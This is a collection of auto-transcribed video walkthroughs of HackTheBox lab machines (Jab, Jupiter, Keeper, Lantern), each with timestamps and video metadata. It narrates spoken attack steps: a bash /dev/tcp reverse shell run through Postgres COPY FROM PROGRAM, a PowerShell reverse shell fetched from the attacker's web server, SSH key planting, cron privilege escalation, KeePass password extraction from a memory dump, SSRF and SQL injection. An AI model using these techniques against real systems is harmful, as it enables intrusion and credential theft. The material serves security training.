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I'm guessing um nope there we go we have users administrator at jab look at this 2600 users that is what we expected so let's go and do some analysis and we can say um let's actually before we do analysis let's make sure we know which users we've owned so I'm going to do J Montgomery because we have this person's passw...
1,475.679
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{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
through dcom if we look at abuse info it's going to tell us um how we can do it I thought it would give us a Linux command as well it doesn't look like it does but we can use um impacket to exploit this and run a command we could also potentially use crack map exec but having decom and not administrator is a very uniqu...
1,557.12
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{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
order to do it you want to use MMC exec there are blog post somewhere that talk about it but let's just try using MMC exec first so we can do nxc then SMB um 10 10 114 user is service openfire and then the password let's cat creds to grab the password and then I think if we do - H it gives some help and there is a exec...
1,617.96
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{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
it didn't give me any feedback so my thought process was maybe because it doesn't say pwn it's not going down to attempt to exec right so the next thing I did was locate net exec and then I GED for uh pipex to see exactly where my virtual environment was and you probably should never modify virtual environment by hand ...
1,686.6
0
{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
there is a wrapper here or a decorator that says this execute command requires admin if we just uncomment this requires admin and then run it again then execute always going to fire even if we're not admin it's going to attempt and it may fail and give a very very nasty error message or it may just magically work right...
1,761.72
0
{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
let's do decom exec and then jab htb slthe user and then colon the password and that's no longer on my clipboard uh cat creds let's grab this there we go and then we can say at 10114 and I probably want to put this in quotes because that's got a lot of special characters in it okay and then the other thing we need to d...
1,826.519
0
{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
a shell so I'm going to make dir dubdub dub let's do CP user share Nang shells um invoke Powershell TCP on line PS1 I'll call it shell. PS1 then let's just edit this go 10 10 148 9,1 okay stand up the web server python 3- mhtp server and then let's edit this command I'm going to put the command at the end so I'm just g...
1,908.08
0
{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
go you know what really help getting up the oh there we go there we go we have have the reverse shell and I forgot to do ourl WP so let's just do this we have the up and down arrow awesome we have a shell on the box if we do who am I SL all uh let's see we are the jab Service open fire user we don't have any privileges...
2,027.6
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{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
all the ports open this is a lot more than nmap had told us and if we hit up we see there is are things listing on just 1271 this 9090 is open fires management interface so let's go ahead and forward this back to our box so we can poke at it so I'm going to go in program data and then let's go um see cd- dubdub dub let...
2,094.2
0
{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
stand this up so now when I hit enter we go to the open fire Administration console so we could attempt to log in uh the service account is probably the first thing I try so Service open fire and then we can C creds grab this midnight credential so midnight 121 paste it in and oh I meant this one there we go and it's t...
2,182.96
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{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
what do we call it this is open file management there we go and we go back to the admin console browse let's do jab open fire management tool upload plugin and now we have the plugin uploaded see management features gojara it's not there how do we use this it's been a while since I've done this one oh management Tool u...
2,258.56
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{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
DT okay Power shell encoded command paste that in execute we do Ami all we just who Ami we're ENT Authority system so we can go to users administrator and desktop so that is how we uh do jab hope you guys enjoyed it take care and I will see you all next time
2,382.64
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{ "video_id": "tprP-GDW_6c", "title": "HackTheBox - Jab", "url": "https://www.youtube.com/watch?v=tprP-GDW_6c" }
what's going on YouTube this is ipag I'm doing Jupiter from hack the box which starts off with some virtual host enumeration to discover the kiosk subdomain and once you go there you discover it is running grafana and grafana is hooked up to postgress so if you inspect the hgp request you can see it's just sending raw ...
0.16
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
to the Juno user which then lets you read some information in order to access a jupyter notebook and then from there you get a shell as Jovian and there's a binary that you have to do some light exploitation with so with that being said let's jump in as as always we start with an end map so- SC for default scripts SV e...
44.28
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
ahead and add this to our host file because if we don't then um we'll just get an error message saying we can't find the website so let's go and add 10 10 11216 jupiter.
95.399
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{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
htb and we have to open up Firefox if you don't know what I did there I just pressed alt F2 and we can go to 10 10 11 to6 and we see jupiter. htb and we see planetary observational data so it looks like it's some sciency space type website the first thing I notice is all the links point tohtml so we don't know what typ...
108.64
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{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
call lot of Google Maps I probably should only intercept what the target is but we don't actually get anything um and the contact form just has a question mark so I don't think it actually did anything so at this point we can either attempt to do a durust and try to guess files or maybe get subdomains I'm going to star...
186.879
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
goes we could try like a few directories like SL admin um like SL login but since everything was HTML um I don't know how we do a login form because HTML is like for a static site right we can look at the page source for this to see exactly how it's built maybe it's like using Hugo or some static site Builder um I don'...
251.879
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
HTP HTP and we see it is grafana and typically you see grafana on internal networks not external um it's a lot of um like statistics observational type information like I normally see grafana when it's mapping like creating graphs of CPU usage Ram all those things um but it has a lot of uses one of the silly things abo...
296.68
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
command so if I just do select um please subscribe and then send this request we see this is our query and then the value is please subscribe so we do have um just maybe it's SQL injection I don't know exactly what to call this because it's a feature it's just letting us run SQL we're not really injecting SQL because w...
374.319
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
create public Dash a public dashboards that prevent using the raw SQL but old versions of grafana really silly um fun fact when this box first got submitted to hack the Box we had um rejected it because we didn't know this and we said it was unrealistic to do it but um it was actually a feature of grafana so yeah but n...
443.36
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
name is where you copy the um output of either of these the file or the program so essentially we're just going to use that uh the first thing we have to do though is validate that we are a um postgress administrative user so I'm going to Google Hack Trix postgress because I don't remember all these commands off the to...
510.08
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
down here let's see I already know it's the copy command I may want to just contrl f for that uh let's see copy see here it is so they're going to use the table CMD exact I'm going to change some of these parameters just to show you it doesn't matter so at first they're just going to drop the table if it exists so we c...
573.92
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
copy command so we're going to do copy and this is going to be the table name run me from program and we'll leave it as ID to see what that is okay and to make things easier on me I'm going to press controlr to open a new window so I can just do select start from run me go down here and we can see the output now we cou...
640.36
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
character because that will let me get away from using other quotes have to worry about escaping characters so I'm going to do Echo then we can do b-i Dev TCP 101048 9,1 0 and 1 like that and then let's base 64 for encode this so I have a plus there I think if I put a space here that gets rid of that plus and then at t...
702.399
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
PTY pt. spawn bin bash Okay contrl C uh contrl Z then stty raw minus Echo for ground it and now we have a shell so I can clear my screen so if I do export term is equal to X term there we go and what do we want to look at on this machine we already kind of determin the data and postgress probably isn't that special we ...
770.279
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{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
to SSH so let's get this real quick export term is equal to X term so I can see this better so one of the other features of post is often it sh is sent to bin bash so since we're the postgress user in our shell is Bash we can just drop s key so let's do m. SSH go into SSH and then we can say ssh-key gen file I'm going ...
847.839
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{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
Pub grab this V authorized Keys paste chod 600 and now s-i put my key which is IPC I'll say postgress at jupiter.
886.8
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
HTP and that lets us in so if something killed our python shell again it doesn't matter because now we have SSH so we go into home we can see we can't get into any user directory so at this point I may look for like some type of Kernel exploit or also um I'd run Lin pees but before I do that uh always check pseudo rule...
905.88
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
Host um 8888 get nothing add a-v it forwards us to slash tree question mark that forwards us to some type of login so let's do SSH tunnel so I'm going to hit enter but when I do the next thing I type is going to be that squiggly C and that's going to drop me into an SSH prompt which just lets me do a tunnel without clo...
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{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
maybe nope nothing there we go in SL up we have this solar flares thing we can't access it um the user Jovian and members of the science group can so if I do a cat Etsy group and then GP for science we can see two users jien and Jun so let's just search for all the files owned by the user Juno and then if this doesn't ...
1,054.08
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
of going into the more forensic aspect um but PE byy definitely works but you don't really learn that much by just running Peace by saying oh I saw this binary run and let's look at it right I like finding it this way better but I'd yes that's a long rant for something that doesn't really matter so let's go and look at...
1,124.52
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
dat it is October 18th at around midnight if I look at the time now it is that time that exact minute so this is telling me the shadow. data is being updated every minute if I look into shadow. dat uh I see this thing a directory called host which is really interesting because we have this host yaml um variable there s...
1,145.72
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
or not but since it's used once mine as well so Dev shm authorized keys and that'll go to home Juno SSH authorized Keys save it do LS let's do a date uh 10 12369 and what time is that file I do a stat I should be able to see the seconds so it runs at the top of the minute so we should see it in about 30 seconds so I'm ...
1,219.96
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
host client one so we have client one CP standard out nothing there if we look at standard error cannot open uh the key permission denied so let's go up three directories CP or yeah chod 777 authorized keys so now everyone can read it and now that's rude it copied the network simulation back to how it was so let's do D...
1,307.36
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
you need the CH own chod command um if we do ls. SSH we can see the permissions are oddly good but um either way we are now Juno on this box so our goal was to find um this token right and that was in SL opt solar flares or at least um we have solar flares there and if I look in probably logs we have a lot of Jupiter l...
1,424.4
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
hunting like we had Jupiter notebooks of various scripts and we talked about like what a ioc was and then this would run a query that went to elastic or Splunk and got the results right it just makes documentation really fun like that so let's do a print hello world and I click run and we see it comes back with hello w...
1,503
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
system and let's see you can run who am I Jovian so let's copy Dev shm authorize keys to home Jovian SSH right run it uh the home or Jian sh is in a directory so let's make that directory first and then we can copy the key in it and we should be able to SSH to that directory now so let's do sh- I ipac Jovian at 10 10 1...
1,541.88
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
screwed up my browser cookies or something and it couldn't authenticate so um ignore that but if you do have troubles uh clear your browser cache because that c piece can be a little finicky so now that we are Jovian on this box uh we can do the same thing uh F sl- user Jovian pipe errors to Dev null see what's special...
1,646.159
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
devn and we see the binary is at user local bin but there is a directory probably here at user local share if I go in user local share it's got config Json Earth PNG map. Json so we have to figure out how to get um s ATT track to load a configuration file let's see if I do user local share SRA config.js not found do we...
1,745.24
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
we see tle root so it created this directory and then we have a tle file weather. text and tle sources I'm not exactly sure what tle means let's see let's just put this to herbox so I'm going to do 10 10 14 8 8,000 um test save this makeer dubdub dub Echo please subscribe to test and now let's start up a web server and...
1,827.48
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
text which is empty so whatever it downloads it does save so with that logic and since we can run a pseudo we should be able to edit this tle root to be let's see root SSH and we can just download um I called my key IPC so we want to rename the key to authorize Keys like that and we can CP or key authorize keys and the...
1,882.519
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
htb and we rout let's go in. SSH um V authorized keys so it looks like um it replaces the file it doesn't um yeah it just replaces it so that's good uh if it didn't replace the file then we would have seen the private key here as well and if this SSH didn't exist um I bet we could do it through ver cron tab since we ar...
1,976.039
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
Json paste this we could also just do Etsy Chon tab right but I don't want to choose Etsy Chon tab because Etsy cron tab definitely has things in it and we just said um it's going to wipe the file and put it in instead of appending it so if we had just went with Etsy KRON tab right off the bat and they had a bunch of c...
2,022
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
3-c or mhtp server downloaded it we run date um we should have a shell in let's see we'll do 30 seconds and I'll resume the video when this finishes and you'll be with me the moment we get the shell hopefully I didn't want to just cat the um cron tab file because maybe that would reload the cron tab I just wanted to le...
2,118.4
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
the CH mod is screwed up so that is why we couldn't just drop it in that so if I go verse pool um cronon tabs we can see root is not 600 so it failed to update Kon um that sucks let's see I wonder if Etsy KRON tab does that have that same behavior because Etsy cron tab has those permissions one two three so to put it h...
2,210.04
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
it doesn't try to mail it um it doesn't say reloading cron but we also don't have an error so hopefully in 10 seconds or 8 seconds now we get a shell and we should definitely listen on a port okay I did not miss it so there we go so Etsy Chron tab works but verse bu cron tab does not um and I didn't know that behavior ...
2,320.72
0
{ "video_id": "HOvVjVw3pww", "title": "HackTheBox - Jupiter", "url": "https://www.youtube.com/watch?v=HOvVjVw3pww" }
what's going on YouTube this is ipack I'm doing keeper from hack the box which was a really easy machine but super interesting if you looked into one of the exploits it starts off with just a request tracker website which is just a help desk it has default creds you log into it you look at a user you get their password...
0.08
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
like why is there a cve for password being in memory but it's interesting when you look into it because this one in particular isn't using the password to decrypt it that's not why it's in memory it's in memory because the text box put it in there as someone typed it so we'll get into that when we go into the video so ...
43.039
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
Ubuntu so let's go take a look at this website since there's really not much else for us to look at so HTTP 1010 11227 and we get a link here that says to raise an IT support ticket please visit tickets. keeper. htb so let's go ahead and add this to our host file so sudo VY host and then 10 10 11227 and put in that I'm...
88.04
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
means like adding in some custom workflows and doing things like that it is not malicious it's just funny to see that terminology here so it's looking like this may be relatively old um if we search for this entire thing go to Google Search the banner we can see where it exist in um Ubuntu accept all visit site let's s...
158.56
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{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
updating this so it's always more up to date if I just go to um the page and we see 2013 is the last exploit um we could do like RT and kind of look for it but there's going to get a lot of results there I don't think there's any public exploits right so the next thing I would do is probably Google default password so ...
229.959
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
of newer things try to like not overload you with information but let's click on the general ticket we see issue with key pass client on Windows and it's created by the webmaster who was um not even going to attempt to pronounce that name and it says attach to this ticket is a crash dump of the key pass program should ...
283.919
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
attachments 351 what was that other one uh let's go back here download 398 maybe I would do like fuzzing around this to see if I can download attachments it doesn't really make sense to me of how it's attached I'm guessing this is message 38 or something CU we see there's a few things here so if this was 35 36 37 38 so...
345.4
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
htb and then we want to send in the password and there we have it request tracker 300 or 30,000. zip that is the ticket ID number right I went all the way back here we went in this ticket um that is ticket ID 30,000 so let's send this over to our desktop so I'm going to do nvmp 901 and we'll direct it to NC 30,000. ZIP...
423.44
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
translation that uh prevents you right you're not on a routable IP address but when I'm the attacker and I want to host a file I control that routable IP address because I'm controlling the network at that point so I can just use HTTP and it's a lot easier right so that's why my mentality shifts between how I download ...
487.479
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
CLI on this um I think I actually have to do open there's probably like a-o flag but it wants a master password so I'm guessing the password exists somewhere in this dump file so let's go and Google um extract key pass password from dump and then go over to Google and this is a uh the very first one there's some Python...
545.68
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
password is and if we attempt to log in here um let's do we can probably just do an Su Command right oh no it's the key pass password so Kass uh KP CLI open passcodes dok dbx put in that password and the day base did not load if we Google that string Let's see we get this Rod mid fla which explains what it is I'm guess...
611.88
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
will often contain passwords like if you do a Windows um mimik cats you can dump all the passwords out of Elsas and those are all clear Tex so why is that a cve and if you look into it keypass tries its best to never store the mord password in the um clear text for as long as possible however they made a mistake with t...
679.959
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
talk about other Frameworks um having better ways to uh store passwords right that prevents this so in this example it's saying example when we type password the strings in memory will be a DOT than a two dots than S three dots then S four dots then W and you get the point right so every time you're typing that text bo...
739.24
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
they're explaining it and forget exactly what I wanted to highlight here but they're talking about this text box is only in keypass it's part of this field other Frameworks like WPF have dedicated password boxes EG password box um I've always seen like password boxes when I do any type of UI programming but I never kne...
805.959
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
antiviruses just to sign your stuff with a legitimate signature it attributes it to you so antivirus Trust a little bit more but a lot of times it'll just start ignoring files right even key pass if it's not signed apparently gets flagged by um antivirus so I found that interesting but enough talking let's get back to ...
862.8
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
this and this will be just it acquiring the memory let's see where is it um see right here is what I want so this is where it's actually looking for the string so we have the hex cf25 and that's going to equal the masked character and we're saying if the first character is that and the second character is 25 then we kn...
919.639
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
the lower case is 7 bit uppercase is 8 bit I'm going to just do strings - e capital s and see what we get uh we have it matching it says binary file so to get rid of that we do A- a to scan the entire thing and it'll also show us um binary things we get a lot more strings this way so the next thing we could do is say w...
991.16
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
this is working right and stores this string in memory a lot okay so we have a mass character and then a d there's the D for some reason we didn't capture the first character or this one I'm guessing we didn't capture that because it's a weird character but there's the D then we have three Mass characters and then a g ...
1,063.6
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
their best to like um free up the memory make sure it didn't exist in memory but fooled by the UI I guess I've never seen that before it's fascinating to me so now that we're in key pass we can do an LS and we can say what's in email nothing like what's in Internet nothing um if we go into internet nothing there if we ...
1,130.2
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
me really look into that so now let's go this okay so passcodes where was I before maybe it's because it did open passcodes KD no so I open it there then I did it LS maybe because I had the wrong master password I'm not sure what was going on but if we go in passcodes now we have more we have email uh general home bank...
1,204.36
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
password and it doesn't exist um is that what I that's what's on my clipboard so that password does not work maybe the password is protecting this putty key however there is no encryption on it so I don't think that's going to be the case so let's just extract this putty key anyways so I'm going to highlight everything...
1,290.24
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
if we don't have it it's saying it's in putty tools so let's try running this putty G not found and if we didn't know it was in putty tools um my favorite way of finding it is just do a pseudo AP cach search putty gen and this tells me um where putty gen exists it looks like it's in putty tool so if we do pseudo apt in...
1,372.52
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
PPK and it says putty key format to new so if I Google this let's see what it says see so if you have version 3 let's look at what version we are we are definitely version three it wants us to downgrade and it looks like the new format was in putty 7. 75 let's look at what version of putty gen we just downloaded is it-...
1,410
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
binaries probably like the S putty SSH binary the putty gen there's a few other ones but all we need is putty genen and I guess I'm going to pause the video and we'll just resume it when this is done because I think after oh never mind we should have it if I go to utils is it in nope let's see find do- name putty gen i...
1,517.52
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
htb and we get logged in and that's the box so hope you guys enjoyed it take care and I'll see you all next time um
1,580.64
0
{ "video_id": "0AafRQIaWmQ", "title": "HackTheBox - Keeper", "url": "https://www.youtube.com/watch?v=0AafRQIaWmQ" }
what's going on YouTube this is IPC and we'll be doing lantern from hack the box which starts out with a server side request forgery and a web server which is SEC proy we can use this to enumerate ports listening on Local Host and discover an internal app is listening on Port 5000 and this app is vulnerable to SQL inje...
0.16
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
use this to load a malicious dll and get onto the Box the prives allows us to run proon with pseudo and we can use that to examine the right CIS call Nano is doing and obtain a password which is being typed in so with that being said let's just jump in as always we're going to start off with an end map so- SCC for defa...
42.559
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
default page looks like it's a 404 we got a request not found and then Looking Down based upon this error message I know this is going to be a flask web server just because the two things I look at at flask is this string and then also the doc type HTML with HTML Lang equals um those are the two things I remember most ...
89.92
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
let's look at Port 3000 this doesn't flag it correctly um it doesn't know exact what this is but based upon this we know it's going to be um HTTP because it's giving us a 500 error and this one says the server is krol so we have Skipper proxy and krol um looking at the other things this definitely looks like a net with...
144.16
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
we can add 10 10 1129 lantern. HTP save this and we'll just go here it'll redirect us to lantern. htb and we get the page so let's see we got the best IT solutions we are creative and then our services about company portfolio testimonials so let's go to about us so it looks like the same page portfolio so this all look...
201.519
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
it's identifying if it's a PDF the first thing I guess is probably going to be the extension so we can put PDF and we see thank you we will contact you very soon so um we can upload PDF files it doesn't really help us all that much um it is python right there I was just checking for directory traversal um but if we upl...
271.56
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
don't know exactly where it's getting uploaded we did give it a file name of um readme doc.pdf so we could just try accessing it and we can't get to it so not sure exactly where to go from there but we had a second Port open so let's take a look at this port this is the net one remember um it's had the Castrol web serv...
328.479
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
decompile but I don't see too much here so I want to look at the actual um server headers right we have kestral web server and we also had um Skipper proxy so I'm going to take a look if there's any vulnerabilities in these so if we just Google Skipper proxy um maybe cve is a good thing to add we can see there's a serv...
391
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
of skip a proxy so if we just set like the proxy to be Local Host and we don't know if it's exactly working or not but if we set the proxy to be us and the server reaches out to connect back to us then we know it is running a vulnerable version of the skipper proxy so that is my thought right now so I'm going to do a c...
452.319
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
one and let's add that proxy header and let's do HTTP 1271 and see if this works it looks like it does so what I want to do is see if we can enumerate ports I'm going to do Port 22 and see if the response Chang changes we get internal server error Port 23 service unavailable and I did those two ports because we know th...
523.08
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
request and then let's do FFF um- request skipper. request D request dpro HTTP and the word list I'm just going to do SEC uh 1 through 65,535 so we can search all the ports and if you don't know what I just did there with this um query it's very much like the dollar and then parentheses that runs a command but this one...
577.92
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
source internal so this definitely looks like it is different so we want to make a request to Port 5,000 um make a request to Local Host 5,000 and to do that we have to add it to the header you can either go to like get a plugin from Firefox or Chrome that allows you to edit the header but I like just doing it in burp ...
646.04
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
break trying to access other websites and it doesn't always become obvious that's the culprit so just always remember when you create those rules because um odd things can happen right so now if I refresh this page it's going to make a request to local host 5,000 instead so we can see right here um an unhandled error h...
704.88
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
scripting and additional um please subscribe and I'll put a single quote there we can do a double quote here add employee and it adds it everything looks to be fine I don't see where Please Subscribe went that was additional information and that isn't being displayed here in this chart let's see go here yeah that is no...
772.56
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
equals 1 Click search that looks like it's still getting iect let's do limit one we get the first one so we can 100% verify we have um SQL injection here so what we want to do is dump the database so let's try getting it into burp Suite real quick let's see click search um nothing's going search Okay click on network t...
846.16
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
let's see what do we want to do oh shoot I wanted to um I'm guessing nothing extra appears right so this is probably acing it locally we'll verify that after we EXP this so we want to do a union um select one which so right now we're numerating how many columns this is so let's do two then let's do three there we go so...
915.88
0
